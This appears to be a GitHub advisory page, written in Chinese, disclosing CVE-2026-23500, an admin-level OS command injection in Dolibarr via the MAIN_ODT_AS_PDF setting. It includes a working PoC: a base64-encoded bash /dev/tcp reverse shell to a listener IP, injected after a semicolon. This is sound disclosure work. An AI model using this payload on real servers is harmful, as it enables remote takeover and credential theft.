lukasz-rybak/CVE-2026-23500
GitHub: lukasz-rybak/CVE-2026-23500
这是一个针对 Dolibarr ERP/CRM 系统 CVE-2026-23500 漏洞的详细分析与验证代码,展示了通过 MAIN_ODT_AS_PDF 配置导致远程代码执行的具体过程。
Stars: 0 | Forks: 0
# CVE-2026-23500: Dolibarr 中通过 MAIN_ODT_AS_PDF 配置导致的 OS 命令注入 (RCE)
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2026-23500](https://nvd.nist.gov/vuln/detail/CVE-2026-23500) |
| **严重程度** | CRITICAL |
| **公告** | [GHSA-w5j3-8fcr-h87w](https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 受影响产品
- **Dolibarr/dolibarr** (版本: <= 22.0.4)
- **修复版本:** 23.0
## CWE 分类
- CWE-78: 对用于 OS 命令的特殊元素的中断不当 ('OS 命令注入')
## 详细信息
### 摘要
经过身份验证的管理员可以通过将恶意 payload 注入到 `MAIN_ODT_AS_PDF` 配置常量中来执行任意操作系统命令。该漏洞的存在是因为应用程序在将命令路径传递给 ODT 到 PDF 转换过程中的 `exec()` 函数之前,未能正确验证或转义该路径。
### 详情
漏洞位于 `htdocs/includes/odtphp/odf.php` 中。
当系统尝试将 ODT 文档转换为 PDF (例如,在商业报价单、发票中) 时,它会使用 `MAIN_ODT_AS_PDF` 全局设置构造一个 shell 命令。
代码片段 (`htdocs/includes/odtphp/odf.php`,约第 930 行):
```
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
```
虽然文件名 `$name` 使用 `escapeshellcmd()` 进行了清理,但配置变量 `MAIN_ODT_AS_PDF` 是直接从数据库中检索并在字符串开头进行拼接的。具有管理员权限的攻击者可以将此变量设置为包含命令分隔符 (如 `;`),后跟任意命令。
### PoC
**先决条件:**
1. 以管理员身份登录。
2. 确保已启用 "Commercial Proposals" (商业报价单) 模块并在其设置中激活了 "ODT templates" (ODT 模板)。
**复现步骤 (反弹 Shell):**
1. 在攻击者的机器上启动一个 netcat 监听器 (IP: `172.26.0.1`, 端口: `4445`):
```
nc -lvnp 4445
```
2. 准备 payload。为了避免特殊字符 (如 `&` 或 `>`) 被 Web 应用程序或 shell 转义,将反弹 shell 命令进行 Base64 编码:
# 命令:bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# 输出:YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
3. 导航至 **Home -> Setup -> Other Setup** (首页 -> 设置 -> 其他设置)。
4. 添加或修改常量 `MAIN_ODT_AS_PDF`,使用以下注入 payload:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
*(解释: `jodconverter` 满足初始检查,`;` 充当命令分隔符,管道符解码并执行 Base64 payload)。*
5. 导航至 **Commerce -> New proposal** (商业 -> 新建报价单),创建一个草稿,选择一个 ODT 模板 (例如,`generic_proposal_odt`),然后点击 **Generate** (生成)。
6. 检查 netcat 监听器。将建立一个连接,从而获得服务器上的 shell:
### 影响
**远程代码执行 (RCE)。**
获得管理员账户访问权限的攻击者 (或恶意管理员) 可以使用 Web 服务器用户 (通常是 `www-data`) 的权限在底层服务器上执行任意命令。这允许:
- 读取敏感配置文件 (数据库凭据)。
- 修改应用程序代码。
- 根据服务器配置完全控制系统 (例如,docker 逃逸,横向移动)。
## 参考
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
- https://nvd.nist.gov/vuln/detail/CVE-2026-23500
## 免责声明
此 CVE 遵循协调漏洞披露实践进行了负责任的披露。此处提供的信息仅用于教育和防御目的。
标签:CISA项目, CMS, Cutter, CVE-2026-23500, CWE-78, Dolibarr, ERP, escapeshellcmd, exec, GHSA, ODT转PDF, OpenVAS, OS命令注入, PHP, PoC, RCE, Web安全, 命令拼接, 安全公告, 应用安全, 暴力破解, 权限绕过, 漏洞分析, 漏洞复现, 管理员权限, 编程工具, 蓝队分析, 路径探测, 远程代码执行